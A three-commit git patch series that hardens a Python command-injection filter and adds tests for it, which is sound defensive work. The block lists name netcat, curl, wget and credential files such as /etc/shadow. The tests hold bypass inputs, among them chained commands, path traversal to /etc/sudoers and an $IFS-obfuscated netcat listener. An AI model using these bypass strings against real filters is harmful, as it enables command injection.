From 562851df2bd0d602b3a8ef7b17faca64df8b291e Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Fri, 9 Feb 2024 17:38:07 -0800 Subject: [PATCH 01/19] Fixed all command injection vulnerabilites present in previous implementation by properly handling globbing, chained commands via other binaries, directory traversal and missing of banned binaries accessed in unconventional ways. Added checking for owner/group and uncommon path types that should not be in args. Added typeing --- src/security/safe_command/api.py | 237 ++++++++++++++++--- tests/safe_command/test_injection.py | 329 +++++++++++++++++++++++++++ 2 files changed, 530 insertions(+), 36 deletions(-) create mode 100644 tests/safe_command/test_injection.py diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index a11c646..45420a5 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -1,10 +1,23 @@ from pathlib import Path import shlex +from glob import glob +from os import get_exec_path +from shutil import which +from subprocess import CompletedProcess +from typing import Union, List, Tuple, TypeAlias, Callable from security.exceptions import SecurityException +ValidRestrictions: TypeAlias = Union[list[str], tuple[str], set[str], frozenset[str], None] +ValidCommand: TypeAlias = Union[str, list[str]] + DEFAULT_CHECKS = frozenset( - ("PREVENT_COMMAND_CHAINING", "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES") + ("PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + "PREVENT_UNCOMMON_PATH_TYPES", + "PREVENT_ADMIN_OWNED_FILES") ) + SENSITIVE_FILE_NAMES = frozenset( ( "/etc/passwd", @@ -19,64 +32,216 @@ ) ) -BANNED_EXECUTABLES = frozenset(("nc", "curl", "wget", "dpkg", "rpm")) +BANNED_EXECUTABLES = frozenset(("nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm")) +BANNED_PATHTYPES = frozenset( + ("mount", "symlink", "block_device", "char_device", "fifo", "socket")) +BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) +BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) +BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) +BANNED_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) +BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( + "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", + "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", + "xargs", "awk", "perl", "python", "ruby", "php", "lua", "tclsh", "sqlplus", + "expect", "screen", "tmux", "byobu", "byobu-ugraph", "script", "scriptreplay", "scriptlive", + "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", + "systemd", "systemd-run" + ) + +) +def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions=DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: + # If there is a command and it passes the checks pass it the original function call + if command: + check(command, restrictions) + return _call_original(original_func, command, *args, **kwargs) -def run(original_func, command, *args, restrictions=DEFAULT_CHECKS, **kwargs): - check(command, restrictions) - return _call_original(original_func, command, *args, **kwargs) + # If there is no command, return None + return None call = run -def _call_original(original_func, command, *args, **kwargs): +def _call_original(original_func: Callable, command: ValidCommand, *args, **kwargs) -> Union[CompletedProcess, None]: return original_func(command, *args, **kwargs) -def check(command, restrictions): - assert isinstance(command, (str, list)) - +def _parse_command(command: ValidCommand) -> Union[List[str], None]: if isinstance(command, str): if not command.strip(): # Empty commands are safe - return + return None parsed_command = shlex.split(command, comments=True) - if isinstance(command, list): - if not command: + elif isinstance(command, list): + if not command or command == [""]: # Empty commands are safe - return - parsed_command = command + return None + + # Join then split with shlex to process shell-like syntax correctly. + parsed_command = shlex.split(shlex.join(command), comments=True) + else: + raise TypeError("Command must be a str or a list") + + return parsed_command + + +def _resolve_executable_path(executable: str) -> Union[Path, None]: + if path := which(executable): + return Path(path).resolve() + + # Check if the executable is in the system PATH + for path in get_exec_path(): + if (executable_path := Path(path) / executable).exists(): + return executable_path.resolve() + + return None + + +def _resolve_paths_in_parsed_command(parsed_command: list) -> Tuple[set[Path], set[str]]: + # Create Path objects and resolve symlinks then add to sets of Path and absolute path strings from the parsed commands + # for comparison with the sensitive files common exploit executables and group/owner checks. + + abs_paths, abs_path_strings = set(), set() + # A second shlex split is needed to handle shell-like syntax correctly when wrapped in quotes before globbing + cmd_parts = [cmd_part for cmd_arg in parsed_command for cmd_part in shlex.split(cmd_arg.strip("'\""))] + for cmd_part in cmd_parts: + # check if the cmd_part is an executable and resolve the path + if executable_path := _resolve_executable_path(cmd_part): + abs_paths.add(executable_path) + abs_path_strings.add(str(executable_path)) + + # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute path + for path in glob(cmd_part, include_hidden=True, recursive=True): + path = Path(path) + + # When its a symlink both the absolute path of the symlink + # and the resolved path of its target are added to the sets + if path.is_symlink(): + path = path.absolute() + abs_paths.add(path) + abs_path_strings.add(str(path)) + + abs_path = Path(path).resolve() + abs_paths.add(abs_path) + abs_path_strings.add(str(abs_path)) + + # Check if globbing returned an executable and add to the sets + if executable_path := _resolve_executable_path(str(path)): + abs_paths.add(executable_path) + abs_path_strings.add(str(executable_path)) + + # Check if globbing returned a directory and add all files in the directory to the sets + if abs_path.is_dir(): + for file in abs_path.rglob("*"): + file = file.resolve() + abs_paths.add(file) + abs_path_strings.add(str(file)) + + + return abs_paths, abs_path_strings + + +def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: + if not restrictions or (parsed_command := _parse_command(command)) is None: + # No restrictions or commands, no checks + return None + + executable = parsed_command[0] + executable_path = _resolve_executable_path(executable) + + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + + if "PREVENT_COMMAND_CHAINING" in restrictions: + check_multiple_commands(command, parsed_command) if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: - check_sensitive_files(parsed_command) - - if "PREVENT_COMMAND_CHAINING" in restrictions: - check_multiple_commands(command) + check_sensitive_files(command, abs_path_strings) if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: - check_banned_executable(parsed_command) + check_banned_executable(command, abs_paths) + for path in abs_paths: + if "PREVENT_UNCOMMON_PATH_TYPES" in restrictions: + # to avoid blocking the executable itself since most are symlinks to the actual executable + if path != executable_path: + check_path_type(path) -def check_sensitive_files(parsed_command: list): - for cmd in parsed_command: - path = Path(cmd) - if any(str(path).endswith(sensitive) for sensitive in SENSITIVE_FILE_NAMES): - raise SecurityException("Disallowed access to sensitive file: %s", cmd) + if "PREVENT_ADMIN_OWNED_FILES" in restrictions: + # to avoid blocking the executable itself since most owned by root or admin and group is wheel or sudo + if path != executable_path: + check_file_owner(path) + check_file_group(path) -def check_multiple_commands(command: str): - separators = ["&", ";", "|", "\n"] - if isinstance(command, str): - stripped = command.strip() - if any(sep in stripped for sep in separators): - raise SecurityException("Multiple commands not allowed: %s", command) +def _do_check_multiple_commands(part: str) -> None: + if any(sep in part for sep in BANNED_COMMAND_CHAINING_SEPARATORS): + raise SecurityException(f"Multiple commands not allowed. Separators found.") - if isinstance(command, list): - if any(cmd in separators for cmd in command): - raise SecurityException("Multiple commands not allowed: %s", command) + if any(sep in part for sep in BANNED_PROCESS_SUBSTITUTION_OPERATORS): + raise SecurityException(f"Multiple commands not allowed. Process substitution operators found.") + if part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES: + raise SecurityException(f"Multiple commands not allowed. Executable {part} allows command chaining.") -def check_banned_executable(parsed_command: list): - if any(cmd in BANNED_EXECUTABLES for cmd in parsed_command): - raise SecurityException("Disallowed command: %s", parsed_command) + +def check_multiple_commands(command: ValidCommand, parsed_command: list) -> None: + if isinstance(command, str): + _do_check_multiple_commands(command.strip()) + + if isinstance(command, list): + for cmd_arg in command: + _do_check_multiple_commands(cmd_arg) + + for cmd_arg in parsed_command: + _do_check_multiple_commands(cmd_arg) + + +def check_sensitive_files(command: ValidCommand, abs_path_strings: set[str]) -> None: + for sensitive_path in SENSITIVE_FILE_NAMES: + if (sensitive_path in command + or sensitive_path in abs_path_strings + or any(str(path).endswith(sensitive_path) for path in abs_path_strings)): + raise SecurityException( + "Disallowed access to sensitive file: " + sensitive_path) + + +def check_banned_executable(command: ValidCommand, abs_paths: set[Path]) -> None: + for banned_executable in BANNED_EXECUTABLES: + if (any(str(path).endswith(banned_executable) for path in abs_paths) + or (isinstance(command, str) + and (command.startswith(f"{banned_executable} ") + or f"bin/{banned_executable}" in command + or f" {banned_executable} " in command ) + ) + or (isinstance(command, list) + and any( + (part.strip("'\"").startswith(f"{banned_executable} ") + or f"bin/{banned_executable}" in part + or f" {banned_executable} " in part + ) for part in command) + ) + ): + raise SecurityException( + f"Disallowed command: {banned_executable}") + + + +def check_path_type(path: Path) -> None: + for pathtype in BANNED_PATHTYPES: + if getattr(path, f"is_{pathtype}")(): + raise SecurityException(f"Disallowed access to path type {pathtype}: {path}") + + +def check_file_owner(path: Path) -> None: + owner = path.owner() + if owner in BANNED_OWNERS: + raise SecurityException( + f"Disallowed access to file owned by {owner}: {path}") + + +def check_file_group(path: Path) -> None: + group = path.group() + if group in BANNED_GROUPS: + raise SecurityException( + f"Disallowed access to file owned by {group}: {path}") diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py new file mode 100644 index 0000000..49a11f6 --- /dev/null +++ b/tests/safe_command/test_injection.py @@ -0,0 +1,329 @@ +import unittest +import subprocess +from pathlib import Path +from os import mkfifo, symlink, get_exec_path, getlogin, chown +from shutil import rmtree, which + +from security.safe_command import safe_command +from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command +from security.exceptions import SecurityException + +class TestSafeCommands(unittest.TestCase): + EXCEPTIONS = { + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), + "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), + "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), + "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), + "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by") + } + + def setUp(self) -> None: + self.userdata_dir = Path("./userdata/example_user/") + self.userdata_dir.mkdir(exist_ok=True, parents=True) + test_data = { + "testdata.txt": "USERDATA1\nUSERDATA2\nUSERDATA3\n", + "testdata2.txt": "USERDATA4\nUSERDATA5\nUSERDATA6\n", + "secret.data": "SECRET-DATA-789\n" + } + + for filename, data in test_data.items(): + with open(self.userdata_dir / filename, "w") as f: + f.write(data) + + + self.original_func = subprocess.run + self.safe_command = new_safe_command + return super().setUp() + + def tearDown(self) -> None: + rmtree("./userdata", ignore_errors=True) + rmtree("./testpaths", ignore_errors=True) + rmtree("./testpathtypes", ignore_errors=True) + return super().tearDown() + + def _run_test_command(self, expected_result, restrictions, command, shell=False, compare_stderr=False, *args, **kwargs): + msg = f"\n\nrestrictions: {restrictions}\nshell: {shell}\ncommand: {command}\nexpected_result: {expected_result}" + if isinstance(expected_result, SecurityException): + with self.assertRaises(SecurityException, msg=msg) as cm: + self.safe_command.run( + original_func=self.original_func, + command=command, *args, + restrictions=restrictions, + shell=shell, **kwargs + ) + raised_exception = cm.exception + self.assertIn(expected_result.args[0], raised_exception.args[0], msg=msg) + + else: + result = self.safe_command.run( + original_func=self.original_func, + command=command, *args, + restrictions=restrictions, + shell=shell, **kwargs, + capture_output=True, + text=True + ) + if result: + compare_val = result.stdout.strip() if not compare_stderr else result.stderr.strip() + self.assertEqual(compare_val, expected_result, msg=msg) + + + def _do_test_commands(self, test_commands, restrictions): + for command, expected_result in test_commands.items(): + if isinstance(command, str): + shell = True + self._run_test_command(expected_result, restrictions, command, shell=shell) + if isinstance(command, tuple): + command = list(command) + shell = False + self._run_test_command(expected_result, restrictions, command, shell=shell) + + + def test_parse_command(self): + for invalid_type in (b"whoami", {"cmd": "value"}, 123, {"cmd", "arg"}): + with self.assertRaises(TypeError): + _parse_command(invalid_type) # type: ignore + for empty in ("", [], [""]): + self.assertEqual(_parse_command(empty), None) + + test_commands = [ + # (str_cmd, list_cmd, len_parsed_cmd_list) + ("whoami", ["whoami"], 1), + ("ls -l", ["ls", "-l"], 2), + ("ls -l -a", ["ls", "-l", "-a"], 3), + ("grep 'test' 'test.txt'", ["grep", "test", "test.txt"], 3), + ("grep test test.txt", ["grep", "test", "test.txt"], 3), + ("grep -e 'test test' 'test.txt'", ["grep", "-e", "test test", "test.txt"], 4), + ("echo 'test1 test2 test3' > test.txt", ["echo", "test1 test2 test3", ">", "test.txt"], 4), + ('echo "test1 test2 test3" > test.txt', ["echo", "test1 test2 test3", ">", "test.txt"], 4), + ("echo test1 test2 test3 > test.txt", ["echo", "test1", "test2", "test3", ">", "test.txt"], 6), + ] + for str_cmd, list_cmd, len_parsed_cmd_list in test_commands: + parsed_str_cmd = _parse_command(str_cmd) + parsed_list_cmd = _parse_command(list_cmd) + msg = f"\n\nstr_cmd: {str_cmd}\nlist_cmd: {list_cmd}\nlen_parsed_cmd_list: {len_parsed_cmd_list}" + msg += f"\nparsed_str_cmd: {parsed_str_cmd}\nparsed_list_cmd: {parsed_list_cmd}" + self.assertIsInstance(parsed_str_cmd, list, msg=msg) + self.assertIsInstance(parsed_list_cmd, list, msg=msg) + self.assertEqual(len(parsed_list_cmd or []), len_parsed_cmd_list, msg=msg) + self.assertEqual(len(parsed_list_cmd or []), len_parsed_cmd_list, msg=msg) + self.assertEqual(parsed_str_cmd, parsed_list_cmd, msg=msg) + + + def test_resolve_paths_in_parsed_command(self): + wd = Path.cwd().resolve() / "testpaths" + wd.mkdir(exist_ok=True) + (wd / "test.txt").touch() + (wd / "test2.txt").touch() + cwd_test = Path("cwdtest.txt").resolve() + cwd_test.touch() + fifo_test = (wd / "fifo_test").resolve() + mkfifo(fifo_test) + symlink_test = (wd / "symlink_test").resolve() + symlink(cwd_test, symlink_test) # Target of symlink is cwdtest.txt + cat, echo, grep, nc, curl, sh = map(lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}" ), ["cat", "echo", "grep", "nc", "curl", "sh"]) + test_commands = { + # command: expected_paths + f"echo HELLO": {echo}, + f"cat cwdtest.txt": {cat, cwd_test}, + f"cat ./cwdtest.txt": {cat, cwd_test}, + f"cat cwd*.txt": {cat, cwd_test}, + f"cat {wd}/test.txt": {cat, wd/"test.txt"}, + f"cat '{wd}/test.txt' ": {cat, wd/"test.txt"}, + f'cat "{wd}/test.txt" ': {cat, wd/"test.txt"}, + f"cat {wd}/test.txt {wd}/test2.txt": {cat, wd/"test.txt", wd/"test2.txt"}, + # Check globbing and multiple slashes + f"cat {wd}/*t.txt {wd}/test?.txt": {cat, wd/"test.txt", wd/"test2.txt"}, + f"cat {wd}///////*t.txt": {cat, wd/"test.txt"}, + f"cat {wd}/../{wd.name}/*.txt": {cat, wd/"test.txt", wd/"test2.txt"}, + # Check globbing in executable path + f"/bin/c*t '{wd}/test.txt' ": {cat, wd/"test.txt"}, + # Check that /etc or /private/etc for mac handling is correct + f"cat /etc/passwd /etc/sudoers ": {cat, Path("/etc/passwd").resolve(), Path("/etc/sudoers").resolve()}, + f"/bin/cat /etc/passwd": {cat, Path("/etc/passwd").resolve()}, + # Check fifo and symlink + f"cat {fifo_test}": {cat, fifo_test}, + # Symlink should resolve to cwdtest.txt so should get the symlink and the target + f"cat {symlink_test}": {cat, symlink_test, cwd_test}, + # Check a command with binary name as an argument + f"echo 'cat' {wd}/test.txt": {echo, cat, wd/"test.txt"}, + # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt + f"grep 'cat' -r {wd}": {grep, cat, wd, wd/"test.txt", wd/"test2.txt", fifo_test, cwd_test}, + f"nc -l -p 1234": {nc}, + f"curl https://example.com": {curl}, + f"sh -c 'curl https://example.com'": {sh, curl}, + } + for command, expected_paths in test_commands.items(): + parsed_command = _parse_command(command) + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + msg = f"\n\ncommand: {command}\n\nparsed_command: {parsed_command}\n\nexpected_paths: {expected_paths}\n\nabs_paths: {abs_paths}\n\nabs_path_strings: {abs_path_strings}" + self.assertEqual(abs_paths, expected_paths, msg=msg) + self.assertEqual(abs_path_strings, {str(p) for p in expected_paths}, msg=msg) + + + def test_check_multiple_commands(self): + exception = self.EXCEPTIONS["PREVENT_COMMAND_CHAINING"] + restrictions = {"PREVENT_COMMAND_CHAINING"} + test_commands = { + # (command, expected_result) + "echo HELLO": "HELLO", + ("echo", "HELLO"): "HELLO", + "ls -l; whoami": exception, + ("ls", "-l;", "whoami"): exception, + "ls -l && whoami": exception, + ("ls", "-l", "&&", "whoami"): exception, + "ls -l || whoami": exception, + ("ls", "-l", "||", "whoami"): exception, + "ls -l | whoami": exception, + ("ls", "-l", "|", "whoami"): exception, + "ls -l\nwhoami": exception, + ("ls", "-l", "\nwhoami"): exception, + "ls -l & whoami": exception, + ("ls", "-l", "&", "whoami"): exception, + "echo $(whoami)": exception, + ("echo", "$(whoami)"): exception, + "echo $(whoami)": exception, + ("echo", "$(whoami)"): exception, + "echo `whoami`": exception, + ("echo", "`whoami`"): exception, + "sh -c 'whoami'": exception, + ("sh", "-c", "'whoami'"): exception, + # Find not allowed with -exec but is allowed otherwise + "find . -name '*.txt' -exec cat {} + ": exception, + ("find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"): exception, + f"find {self.userdata_dir} -name testdata.txt -print -quit": "userdata/example_user/testdata.txt", + ("find", str(self.userdata_dir), "-name", "testdata.txt", "-print", "-quit"): "userdata/example_user/testdata.txt", + f"grep -e 'USERDATA[12]' {self.userdata_dir}/testdata.txt": "USERDATA1\nUSERDATA2", + ("grep", "-e", "USERDATA[12]", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2", + } + + self._do_test_commands(test_commands, restrictions) + + + + def test_check_sensitive_files(self): + exception = self.EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] + restrictions = {"PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"} + test_commands = { + # (command, expected_result) + f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", + ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", + f"cat {self.userdata_dir}/testdata2.txt": f"USERDATA4\nUSERDATA5\nUSERDATA6", + ("cat", f"{self.userdata_dir}/testdata2.txt"): "USERDATA4\nUSERDATA5\nUSERDATA6", + f"grep 'USERDATA1' {self.userdata_dir}/testdata.txt": "USERDATA1", + ("grep", "USERDATA1", f"{self.userdata_dir}/testdata.txt"): "USERDATA1", + f"cat /etc/shadow": exception, + ("cat", "/etc/shadow"): exception, + f"cat /etc/passwd": exception, + ("cat", "/etc/passwd"): exception, + f"cat '/etc/passwd'": exception, + ("cat", "/etc/passwd"): exception, + f'cat "/etc/passwd"': exception, + ("cat", "/etc/passwd"): exception, + f'cat "/etc/pa*sswd"': exception, + ("cat", "/etc/pa*sswd"): exception, + f"cat /etc/pa*sswd": exception, + ("cat", "/etc/pa*sswd"): exception, + f"cat /etc///pa*sswd*": exception, + ("cat", "/etc///pa*sswd*"): exception, + f"cat /etc/sudoers": exception, + ("cat", "/etc/sudoers"): exception, + f"cat ../../../../../../../../../../etc/sudoers.d/../sudoers": exception, + ("cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"): exception, + f"cat /etc/sudoers.d/../sudoers": exception, + ("cat", "/etc/sudoers.d/../sudoers"): exception, + } + + self._do_test_commands(test_commands, restrictions) + + + def test_check_banned_executable(self): + exception = self.EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] + restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} + test_commands = { + # (command, expected_result) + "echo HELLO": "HELLO", + ("echo", "HELLO"): "HELLO", + "ls -l /usr/bin/nc": exception, + ("ls", "-l", "/usr/bin/nc"): exception, + "ls -l /usr/bin/netcat": exception, + ("ls", "-l", "/usr/bin/netcat"): exception, + "ls -l /usr/bin/curl": exception, + ("ls", "-l", "/usr/bin/curl"): exception, + "ls -l /usr/bin/wget": exception, + ("ls", "-l", "/usr/bin/wget"): exception, + "ls -l /usr/bin/dpkg": exception, + ("ls", "-l", "/usr/bin/dpkg"): exception, + "ls -l /usr/bin/rpm": exception, + ("ls", "-l", "/usr/bin/rpm"): exception, + "curl https://example.com": exception, + ("curl", "https://example.com"): exception, + "sh -c 'curl https://example.com'": exception, + ("sh", "-c", "curl https://example.com"): exception, + "find . -name '*' -exec curl {} + ": exception, + ("find", ".", "-name", "'*'", "-exec", "curl", "{}", "+"): exception, + "find . -name '*' -exec /usr/bin/curl {} + ": exception, + ("find", ".", "-name", "'*'", "-exec", "/usr/bin/curl", "{}", "+"): exception, + "find . -name '*' -exec /usr/bin/cu*l {} + ": exception, + ("find", ".", "-name", "'*'", "-exec", "/usr/bin/cu*l", "{}", "+"): exception, + "nc -l -p 1234": exception, + ("nc", "-l", "-p", "1234"): exception, + "/bin/nc -l -p 1234": exception, + ("/bin/nc", "-l", "-p", "1234"): exception, + "/usr/bin/nc* -l -p 1234": exception, + ("/usr/bin/nc*", "-l", "-p", "1234"): exception, + } + + self._do_test_commands(test_commands, restrictions) + + + def test_check_path_type(self): + wd = Path.cwd().resolve() / "testpathtypes" + wd.mkdir(exist_ok=True) + cwd_test = Path("cwdtest.txt").resolve() + cwd_test.touch() + fifo_test = (wd / "fifo_test").resolve() + mkfifo(fifo_test) + symlink_test = (wd / "symlink_test").resolve() + symlink(cwd_test, symlink_test) # Target of symlink is cwdtest.txt + + exception = self.EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] + restrictions = {"PREVENT_UNCOMMON_PATH_TYPES"} + test_commands = { + # (command, expected_result) + "echo HELLO": "HELLO", + ("echo", "HELLO"): "HELLO", + f"cat {wd}/fifo_test": exception, + ("cat", f"{wd}/fifo_test"): exception, + f"cat {wd}/symlink_test": exception, + ("cat", f"{wd}/symlink_test"): exception, + f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", + ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", + f"/bin/cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", + ("/bin/cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", + } + + self._do_test_commands(test_commands, restrictions) + + + def test_check_file_owner(self): + exception = self.EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] + restrictions = {"PREVENT_ADMIN_OWNED_FILES"} + + test_commands = { + # (command, expected_result) + "echo HELLO": "HELLO", + ("echo", "HELLO"): "HELLO", + f"cat {self.userdata_dir}/testdata.txt": f"USERDATA1\nUSERDATA2\nUSERDATA3", + ("cat", f"{self.userdata_dir}/testdata.txt"): "USERDATA1\nUSERDATA2\nUSERDATA3", + f"cat /etc/passwd": exception, + ("cat", "/etc/passwd"): exception, + f"cat /var/log/*": exception, + ("cat", "/var/log/*"): exception, + } + + self._do_test_commands(test_commands, restrictions) + + +if __name__ == "__main__": + unittest.main() \ No newline at end of file From 0d9a0e2e524065b6bfd2e009d3edd827a795a7d3 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Mon, 12 Feb 2024 17:12:00 -0800 Subject: [PATCH 02/19] Correctly handle $IFS/${IFS} in commands. check_banned_executable can use precomputed abs_path_strings for .endswith check --- src/security/safe_command/api.py | 36 ++++++++++++++++------------ tests/safe_command/test_injection.py | 5 +++- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 45420a5..87d63c0 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -1,11 +1,11 @@ from pathlib import Path import shlex +from security.exceptions import SecurityException +from subprocess import CompletedProcess +from typing import Union, List, Tuple, TypeAlias from glob import glob -from os import get_exec_path +from os import get_exec_path, getenv from shutil import which -from subprocess import CompletedProcess -from typing import Union, List, Tuple, TypeAlias, Callable -from security.exceptions import SecurityException ValidRestrictions: TypeAlias = Union[list[str], tuple[str], set[str], frozenset[str], None] ValidCommand: TypeAlias = Union[str, list[str]] @@ -50,7 +50,10 @@ ) -def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions=DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: +IFS = getenv("IFS", " \t\n") + + +def run(original_func, command, *args, restrictions=DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: # If there is a command and it passes the checks pass it the original function call if command: check(command, restrictions) @@ -63,23 +66,27 @@ def run(original_func: Callable, command: ValidCommand, *args, restrictions: Val call = run -def _call_original(original_func: Callable, command: ValidCommand, *args, **kwargs) -> Union[CompletedProcess, None]: +def _call_original(original_func, command, *args, **kwargs) -> Union[CompletedProcess, None]: return original_func(command, *args, **kwargs) -def _parse_command(command: ValidCommand) -> Union[List[str], None]: +def _replace_IFS(cmd_part: str) -> str: + return cmd_part.replace("$IFS", IFS[0]).replace("${IFS}", IFS[0]) + + +def _parse_command(command: Union[str, list]) -> Union[List[str], None]: if isinstance(command, str): if not command.strip(): # Empty commands are safe return None - parsed_command = shlex.split(command, comments=True) + parsed_command = shlex.split(_replace_IFS(command), comments=True) elif isinstance(command, list): if not command or command == [""]: # Empty commands are safe return None # Join then split with shlex to process shell-like syntax correctly. - parsed_command = shlex.split(shlex.join(command), comments=True) + parsed_command = shlex.split(_replace_IFS(shlex.join(command)), comments=True) else: raise TypeError("Command must be a str or a list") @@ -103,7 +110,7 @@ def _resolve_paths_in_parsed_command(parsed_command: list) -> Tuple[set[Path], s # for comparison with the sensitive files common exploit executables and group/owner checks. abs_paths, abs_path_strings = set(), set() - # A second shlex split is needed to handle shell-like syntax correctly when wrapped in quotes before globbing + # A second shlex split is done to handle shell-like syntax correctly when wrapped in quotes before globbing cmd_parts = [cmd_part for cmd_arg in parsed_command for cmd_part in shlex.split(cmd_arg.strip("'\""))] for cmd_part in cmd_parts: # check if the cmd_part is an executable and resolve the path @@ -159,7 +166,7 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: check_sensitive_files(command, abs_path_strings) if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: - check_banned_executable(command, abs_paths) + check_banned_executable(command, abs_path_strings) for path in abs_paths: if "PREVENT_UNCOMMON_PATH_TYPES" in restrictions: @@ -200,15 +207,14 @@ def check_multiple_commands(command: ValidCommand, parsed_command: list) -> None def check_sensitive_files(command: ValidCommand, abs_path_strings: set[str]) -> None: for sensitive_path in SENSITIVE_FILE_NAMES: if (sensitive_path in command - or sensitive_path in abs_path_strings - or any(str(path).endswith(sensitive_path) for path in abs_path_strings)): + or any(abs_path_string.endswith(sensitive_path) for abs_path_string in abs_path_strings)): raise SecurityException( "Disallowed access to sensitive file: " + sensitive_path) -def check_banned_executable(command: ValidCommand, abs_paths: set[Path]) -> None: +def check_banned_executable(command: ValidCommand, abs_path_strings: set[str]) -> None: for banned_executable in BANNED_EXECUTABLES: - if (any(str(path).endswith(banned_executable) for path in abs_paths) + if (any((abs_path_string.endswith(f"/{banned_executable}") for abs_path_string in abs_path_strings)) or (isinstance(command, str) and (command.startswith(f"{banned_executable} ") or f"bin/{banned_executable}" in command diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 49a11f6..a1256d2 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -8,7 +8,7 @@ from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command from security.exceptions import SecurityException -class TestSafeCommands(unittest.TestCase): +class TestSafeCommandInjection(unittest.TestCase): EXCEPTIONS = { "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), @@ -272,6 +272,9 @@ def test_check_banned_executable(self): ("/bin/nc", "-l", "-p", "1234"): exception, "/usr/bin/nc* -l -p 1234": exception, ("/usr/bin/nc*", "-l", "-p", "1234"): exception, + # Check that IFS can't be used to bypass + "nc$IFS-l${IFS}-p${IFS}1234": exception, + ("nc$IFS-l${IFS}-p${IFS}1234"): exception, } self._do_test_commands(test_commands, restrictions) From ffd0425815dd4df03a4df9f8130f7a2494644860 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 15 Feb 2024 13:34:55 -0800 Subject: [PATCH 03/19] Tests now check err.value.args[0].startswith() not == since my execptions have slighly different message format but the check is still the exact same --- tests/safe_command/test_api.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/safe_command/test_api.py b/tests/safe_command/test_api.py index 47598fb..0edf217 100644 --- a/tests/safe_command/test_api.py +++ b/tests/safe_command/test_api.py @@ -45,7 +45,7 @@ def test_empty_command_runs(self, command, original_func): def test_blocks_sensitive_files(self, command, original_func): with pytest.raises(SecurityException) as err: safe_command.run(original_func, command) - assert err.value.args[0] == "Disallowed access to sensitive file: %s" + assert err.value.args[0].startswith("Disallowed access to sensitive file") @mock.patch("security.safe_command.api._call_original") def test_no_restrictions(self, mock_call_original, original_func): @@ -68,7 +68,7 @@ def test_no_restrictions(self, mock_call_original, original_func): def test_blocks_command_chaining(self, command, original_func): with pytest.raises(SecurityException) as err: safe_command.run(original_func, command) - assert err.value.args[0] == "Multiple commands not allowed: %s" + assert err.value.args[0].startswith("Multiple commands not allowed") 